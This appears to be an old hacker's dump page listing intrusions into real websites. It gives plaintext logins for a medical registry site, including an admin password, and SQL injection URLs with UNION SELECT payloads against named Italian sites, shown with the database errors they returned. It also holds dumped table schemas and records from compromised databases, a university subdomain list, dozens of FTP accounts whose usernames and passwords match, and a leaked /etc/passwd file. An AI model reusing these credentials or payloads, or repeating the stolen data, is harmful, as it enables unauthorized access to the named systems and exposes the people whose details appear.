pro(re)gress

http://www.ior.it/RegMed/Web/Login.aspx user: RegMed  pass: pippero user: admin pass: colon  -------------------------------- It's possible  to change the password of any user by knowing only the username (????).

Since the website has been closed (I'm sorry for that). Some (old) informations. ***Remember that I've never abused of any website or modified anything or used confidential data.*** http://www.antiproibizionisti.it/ricerca.asp?page=1&trova=(%20Advid%20)';%20trunca Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][Driver ODBC Microsoft Access] Errore di sintassi (operatore mancante) nell'espressione della query /inc_ricerca.htm, line 12 -------------- http://antiproibizionisti.it/archivio_sdf.asp?f=1'0 http://antiproibizionisti.it/display_gessa.asp?f=3629&u='9 http://antiproibizionisti.it/archivio_gessa.asp?f='9 http://antiproibizionisti.it/display.asp?f=4177&u=10 http://antiproibizionisti.it/archivio_sdf.asp?f=10%20union%20select%20sum(nome),1,2,3,6,4,4,5%20from%20user http://antiproibizionisti.it/archivio_sdf.asp?f=10%20UNION%20SELECT%20id,%20name,%20'','','',

Too much data to dump. Anyway I've deleted everything (here ... ). --- samples --- company_address (   company_id bigint(3) NOT NULL auto_increment,   company_name varchar(200) NOT NULL default '',   address longtext,   street_id bigint(3) default NULL,   city_id bigint(3) default NULL,   state_id bigint(3) default NULL,   zip varchar(20) default NULL,   phone varchar(20) NOT NULL default '0',   fax varchar(20) default NULL,   email varchar(100) default NULL,   category char(1) NOT NULL default '',   PRIMARY KEY  (company_id) INSERT INTO company_address VALUES("1", "M & A Hispanic Book Store", "1902 Bergenline Ave", "0", "16284", "30", "07087", "(201) 866-0010", "", "", "0"); ------------------------------------------

I've found this data time ago... CREATE TABLE partners (   id int(11) NOT NULL auto_increment,   email varchar(255) NOT NULL default '',   phone varchar(50) default NULL,   fax varchar(50) default NULL,   address varchar(255) default NULL,   zip varchar(20) default NULL,   city varchar(50) default NULL,   state varchar(50) default NULL,   country varchar(50) default NULL,   first_name varchar(100) default NULL,   last_name varchar(100) default NULL,   company_name varchar(100) default NULL,   login varchar(25) NOT NULL default '',   password varchar(25) NOT NULL default '',   additional_data text,   ku_balance float(16,2) unsigned NOT NULL default '0.00',   us_balance float(16,2) unsigned NOT NULL default '0.00',   credit_limit float(10,2) default '0.00',   status enum('unconfirmed','active','suspended','free') default 'unconfirmed',   promo varchar(100) default NULL,   pa

the website is dead so ... I can publish something The main table nurseryinfo (    Title text,    Initial text,    First_Name text,    Surname text,    Contact_Name text,    Position text,    Nursery text,    Address text,    Address1 text,    Town text,    County text,    Postcode text,    Tel_No text,    No_0_2 text,    Range text,    Weekly text,    Tot_Staff text,    Group_No text,    Facility text,    Member_No text,    Branch text,    Region text,    Officer_Br text,    Officer_Re text,    Officer_Ex text,    Year_Joined text,    Eig text,    Contact text,    Task_Group text,    _998 text,    No_of_Nurs text,    So text,    Fax_No text,    Renewed text,    Bulletin text,    E_Mail text,    Mem_Type text,    Fees_Paid text,    Paid text,    Month_Join text,    Membership text,    NDNA text,    Chair text,    Regional_R text,    Chairtel_N text,    Rep_Tel_No text,    Ass text,    Primary_ text,    Add_site text,    Head_offic t

Since the injection have been fixed time ago ... I just publish some samples (nothing confidential) Sample error [TCX][MyODBC]You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY N1 ASC, ID_Head DESC' at line 1 /ita/web/index.asp, line 15 db: Sql39909_2 sample table -> clienti columns -> cliente, indirizzo, data, telefono sample injection http://www.meridianaitalia.it/ita/web/index.asp?id_menu=3%20UNION%20Select%20*%20from%20Sql39909_2.clienti/*&menu=Newa

ns.unisannio.it mail.unisannio.it www.unisannio.it ftp.unisannio.it nosferatu.unisannio.it medusa.unisannio.it hydra.ing.unisannio.it proxy.unisannio.it webmail.unisannio.it gw-0.unisannio.it wwwsci.unisannio.it wwwlavoro.unisannio.it wwwdases.unisannio.it wwwdsga.unisannio.it wwwdsba.unisannio.it wwwstat.unisannio.it wwwsea.unisannio.it wwwding.unisannio.it web.ing.unisannio.it virgilio.ing.unisannio.it wheel.ing.unisannio.it caudina.ing.unisannio.it serg.ing.unisannio.it russo.ing.unisannio.it contabile.ing.unisannio.it opac.ing.unisannio.it sgr.ing.unisannio.it serglink.ing.unisannio.it ponza.ing.unisannio.it deal.ing.unisannio.it gvp.ing.unisannio.it contabile.ing.unisannio.it canfora.ing.unisannio.it paradise.ing.unisannio.it lisus1.ing.unisannio.it lisus2.ing.unisannio.it lisus3.ing.unisannio.it leus.ing.unisannio.it leus-ws1.ing.unisannio.it leus-ws2.ing.unisannio.it lesim1.ing.unisannio.it lesim2.ing.unisannio.it lesim3.ing.unisannio.it

----ftp.tripod.it---- ftp.tripod.it:21  U: angelo  P: angelo ftp.tripod.it:21  U: apostolo  P: apostolo ftp.tripod.it:21  U: arny  P: arny ftp.tripod.it:21  U: basa  P: basa ftp.tripod.it:21  U: bedford  P: bedford ftp.tripod.it:21  U: bonnin  P: bonnin ftp.tripod.it:21  U: bubak  P: bubak ftp.tripod.it:21  U: bucky  P: bucky ftp.tripod.it:21  U: carlton  P: carlton ftp.tripod.it:21  U: cora  P: cora ftp.tripod.it:21  U: cozzi  P: cozzi ftp.tripod.it:21  U: derby  P: derby ftp.tripod.it:21  U: elin  P: elin ftp.tripod.it:21  U: emr  P: emr ftp.tripod.it:21  U: evelina  P: evelina ftp.tripod.it:21  U: evita  P: evita ftp.tripod.it:21  U: fania  P: fania ftp.tripod.it:21  U: fara  P: fara ftp.tripod.it:21  U: federico  P: federico ftp.tripod.it:21  U: ferdy  P: ferdy ftp.tripod.it:21  U: fisher  P: fisher ftp.tripod.it:21  U: francine  P: francine ftp.tripod.it:21  U: gareth  P: gareth ftp.tripod.it:21  U: gonzalez  P: gonzalez ftp.tripod.it:21  U: gussy  P: guss

www.dmyouhak.com:21  U/P: ynws www.dmyouhak.com:21  U/P: daeil24 --------------------------------------- -------shell4.unixshells.de------- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: apache:x:48:48:Apache:/var/www:/bin/false rpc:x:32:32:Portmapper RPC user:/:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null xerox:x:500:500:xerox:/home/xerox:/bin/bash kwmo37:x:501:100::/home/kwmo37:/bin/bash sopl69:x:502:100::/home/sopl69:/bin/bash schnakey:x:514:920:Eberle Frank:/home/schnakey:/bin/bash pr0t